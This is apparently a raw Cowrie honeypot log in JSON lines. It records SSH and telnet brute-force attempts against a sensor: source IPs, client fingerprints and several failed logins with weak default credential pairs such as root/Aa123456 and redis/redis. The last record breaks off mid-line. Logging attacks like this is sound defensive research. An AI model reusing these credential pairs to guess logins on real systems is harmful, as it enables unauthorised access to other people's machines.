{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bf:85:8e:32:be:27:68:5f:22:f9:63:eb:9b:e3:c0:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bf:85:8e:32:be:27:68:5f:22:f9:63:eb:9b:e3:c0:5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:49.333203Z","src_ip":"139.19.117.129","session":"385a292277ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bf:85:8e:32:be:27:68:5f:22:f9:63:eb:9b:e3:c0:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:49.336894Z","src_ip":"139.19.117.129","session":"385a292277ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:49.608859Z","src_ip":"94.26.106.229","session":"cc8778c8e344","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":36382,"dst_ip":"159.203.135.109","dst_port":22,"session":"71258544b638","protocol":"ssh","message":"New connection: 94.26.106.229:36382 (159.203.135.109:22) [session: 71258544b638]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:50.721676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:50.726383Z","src_ip":"94.26.106.229","session":"71258544b638","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.86595344543457,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:50.733889Z","src_ip":"176.222.167.126","session":"7c323eba1252","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:50.809965Z","src_ip":"94.26.106.229","session":"71258544b638","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"123456","password":"123456","message":"login attempt [123456/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:51.061326Z","src_ip":"94.26.106.229","session":"71258544b638","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:52.147875Z","src_ip":"94.26.106.229","session":"71258544b638","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54396,"dst_ip":"159.203.135.109","dst_port":22,"session":"843b037b2ca2","protocol":"ssh","message":"New connection: 45.156.87.204:54396 (159.203.135.109:22) [session: 843b037b2ca2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:52.166989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:52.171800Z","src_ip":"45.156.87.204","session":"843b037b2ca2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:52.256177Z","src_ip":"45.156.87.204","session":"843b037b2ca2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123","message":"login attempt [ftpuser/ftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:52.502391Z","src_ip":"45.156.87.204","session":"843b037b2ca2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":36394,"dst_ip":"159.203.135.109","dst_port":22,"session":"086cfa5756a5","protocol":"ssh","message":"New connection: 94.26.106.229:36394 (159.203.135.109:22) [session: 086cfa5756a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:52.860636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:52.865279Z","src_ip":"94.26.106.229","session":"086cfa5756a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:52.949646Z","src_ip":"94.26.106.229","session":"086cfa5756a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"12345","message":"login attempt [minecraft/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:53.202266Z","src_ip":"94.26.106.229","session":"086cfa5756a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:53.586920Z","src_ip":"45.156.87.204","session":"843b037b2ca2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:54.288083Z","src_ip":"94.26.106.229","session":"086cfa5756a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":40518,"dst_ip":"159.203.135.109","dst_port":22,"session":"fea0bf97ccb0","protocol":"ssh","message":"New connection: 94.26.106.229:40518 (159.203.135.109:22) [session: fea0bf97ccb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:55.015589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:55.035440Z","src_ip":"94.26.106.229","session":"fea0bf97ccb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:55.190136Z","src_ip":"94.26.106.229","session":"fea0bf97ccb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":41448,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc045962cd0f","protocol":"ssh","message":"New connection: 45.156.87.204:41448 (159.203.135.109:22) [session: bc045962cd0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:55.647894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:55.652435Z","src_ip":"45.156.87.204","session":"bc045962cd0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:55.734253Z","src_ip":"45.156.87.204","session":"bc045962cd0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"P@ssw0rd","message":"login attempt [student/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:55.823822Z","src_ip":"94.26.106.229","session":"fea0bf97ccb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456","message":"login attempt [root/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:55.983050Z","src_ip":"45.156.87.204","session":"bc045962cd0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:56.909957Z","src_ip":"94.26.106.229","session":"fea0bf97ccb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:57.067041Z","src_ip":"45.156.87.204","session":"bc045962cd0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":40526,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f6aa7710432","protocol":"ssh","message":"New connection: 94.26.106.229:40526 (159.203.135.109:22) [session: 6f6aa7710432]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:57.821136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:57.825391Z","src_ip":"94.26.106.229","session":"6f6aa7710432","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:57.913145Z","src_ip":"94.26.106.229","session":"6f6aa7710432","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"123456","message":"login attempt [cloud/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:58.180444Z","src_ip":"94.26.106.229","session":"6f6aa7710432","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":41450,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a2d5f95d52d","protocol":"ssh","message":"New connection: 45.156.87.204:41450 (159.203.135.109:22) [session: 4a2d5f95d52d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:58.941310Z"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:58.951526Z","src_ip":"139.19.117.129","session":"385a292277ea","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:59.103049Z","src_ip":"45.156.87.204","session":"4a2d5f95d52d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:59.107118Z","src_ip":"45.156.87.204","session":"4a2d5f95d52d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:59.270466Z","src_ip":"94.26.106.229","session":"6f6aa7710432","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53248,"dst_ip":"10.17.0.5","dst_port":23,"session":"abd4e1912413","protocol":"telnet","message":"New connection: 152.42.224.71:53248 (10.17.0.5:23) [session: abd4e1912413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:59.499031Z"}
{"eventid":"cowrie.login.failed","username":"redis","password":"redis","message":"login attempt [redis/redis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:59.626149Z","src_ip":"45.156.87.204","session":"4a2d5f95d52d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":40534,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b3b111ca535","protocol":"ssh","message":"New connection: 94.26.106.229:40534 (159.203.135.109:22) [session: 6b3b111ca535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:59.934983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:59.943393Z","src_ip":"94.26.106.229","session":"6b3b111ca535","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.